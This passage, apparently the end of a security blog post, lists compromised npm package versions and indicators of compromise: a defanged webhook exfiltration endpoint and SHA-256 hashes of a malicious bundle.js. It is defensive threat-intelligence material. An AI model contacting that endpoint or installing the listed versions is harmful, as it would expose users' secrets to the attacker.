  436. graphql-sequelize-teselagen@5.3.8
  437. graphql-sequelize-teselagen@5.3.9
  438. html-to-base64-image@1.0.2
  439. json-rules-engine-simplified@0.2.1
  440. json-rules-engine-simplified@0.2.4
  441. jumpgate@0.0.2
  442. koa2-swagger-ui@5.11.1
  443. koa2-swagger-ui@5.11.2
  444. mcfly-semantic-release@1.3.1
  445. mcp-knowledge-base@0.0.2
  446. mcp-knowledge-graph@1.2.1
  447. mobioffice-cli@1.0.3
  448. monorepo-next@13.0.1
  449. monorepo-next@13.0.2
  450. mstate-angular@0.4.4
  451. mstate-cli@0.4.7
  452. mstate-dev-react@1.1.1
  453. mstate-react@1.6.5
  454. ng2-file-upload@7.0.2
  455. ng2-file-upload@7.0.3
  456. ng2-file-upload@8.0.1
  457. ng2-file-upload@8.0.2
  458. ng2-file-upload@8.0.3
  459. ng2-file-upload@9.0.1
  460. ngx-bootstrap@18.1.4
  461. ngx-bootstrap@19.0.3
  462. ngx-bootstrap@19.0.4
  463. ngx-bootstrap@20.0.3
  464. ngx-bootstrap@20.0.4
  465. ngx-bootstrap@20.0.5
  466. ngx-color@10.0.1
  467. ngx-color@10.0.2
  468. ngx-toastr@19.0.1
  469. ngx-toastr@19.0.2
  470. ngx-trend@8.0.1
  471. ngx-ws@1.1.5
  472. ngx-ws@1.1.6
  473. oradm-to-gql@35.0.14
  474. oradm-to-gql@35.0.15
  475. oradm-to-sqlz@1.1.2
  476. ove-auto-annotate@0.0.10
  477. ove-auto-annotate@0.0.9
  478. pm2-gelf-json@1.0.4
  479. pm2-gelf-json@1.0.5
  480. printjs-rpk@1.6.1
  481. react-complaint-image@0.0.32
  482. react-complaint-image@0.0.35
  483. react-jsonschema-form-conditionals@0.3.18
  484. react-jsonschema-form-conditionals@0.3.21
  485. react-jsonschema-form-extras@1.0.4
  486. react-jsonschema-rxnt-extras@0.4.9
  487. remark-preset-lint-crowdstrike@4.0.1
  488. remark-preset-lint-crowdstrike@4.0.2
  489. rxnt-authentication@0.0.3
  490. rxnt-authentication@0.0.4
  491. rxnt-authentication@0.0.5
  492. rxnt-authentication@0.0.6
  493. rxnt-healthchecks-nestjs@1.0.2
  494. rxnt-healthchecks-nestjs@1.0.3
  495. rxnt-healthchecks-nestjs@1.0.4
  496. rxnt-healthchecks-nestjs@1.0.5
  497. rxnt-kue@1.0.4
  498. rxnt-kue@1.0.5
  499. rxnt-kue@1.0.6
  500. rxnt-kue@1.0.7
  501. swc-plugin-component-annotate@1.9.1
  502. swc-plugin-component-annotate@1.9.2
  503. tbssnch@1.0.2
  504. teselagen-interval-tree@1.1.2
  505. tg-client-query-builder@2.14.4
  506. tg-client-query-builder@2.14.5
  507. tg-redbird@1.3.1
  508. tg-redbird@1.3.2
  509. tg-seq-gen@1.0.10
  510. tg-seq-gen@1.0.9
  511. thangved-react-grid@1.0.3
  512. ts-gaussian@3.0.5
  513. ts-gaussian@3.0.6
  514. ts-imports@1.0.1
  515. ts-imports@1.0.2
  516. tvi-cli@0.1.5
  517. ve-bamreader@0.2.6
  518. ve-bamreader@0.2.7
  519. ve-editor@1.0.1
  520. ve-editor@1.0.2
  521. verror-extra@6.0.1
  522. voip-callkit@1.0.2
  523. voip-callkit@1.0.3
  524. wdio-web-reporter@0.1.3
  525. yargs-help-output@5.0.3
  526. yoo-styles@6.0.326

The attack surface is growing and we will continue updating this list. Please check back often.

  • Exfiltration endpoint: hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7

Bundle.js SHA-256

  • de0e25a3e6c1e1e5998b306b7141b3dc4c0088da9d7bb47c1c00c91e6e4f85d6
  • 81d2a004a1bca6ef87a1caf7d0e0b355ad1764238e40ff6d1b1cb77ad4f595c3
  • 83a650ce44b2a9854802a7fb4c202877815274c129af49e6c2d1d5d5d55c501e
  • 4b2399646573bb737c4969563303d8ee2e9ddbd1b271f1ca9e35ea78062538db
  • dc67467a39b70d1cd4c1f7f7a459b35058163592f4a9e8fb4dffcbba98ef210c
  • 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
  • b74caeaa75e077c99f7d44f46daaf9796a3be43ecf24f2a1fd381844669da777

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a Demo

Related posts

Back to all posts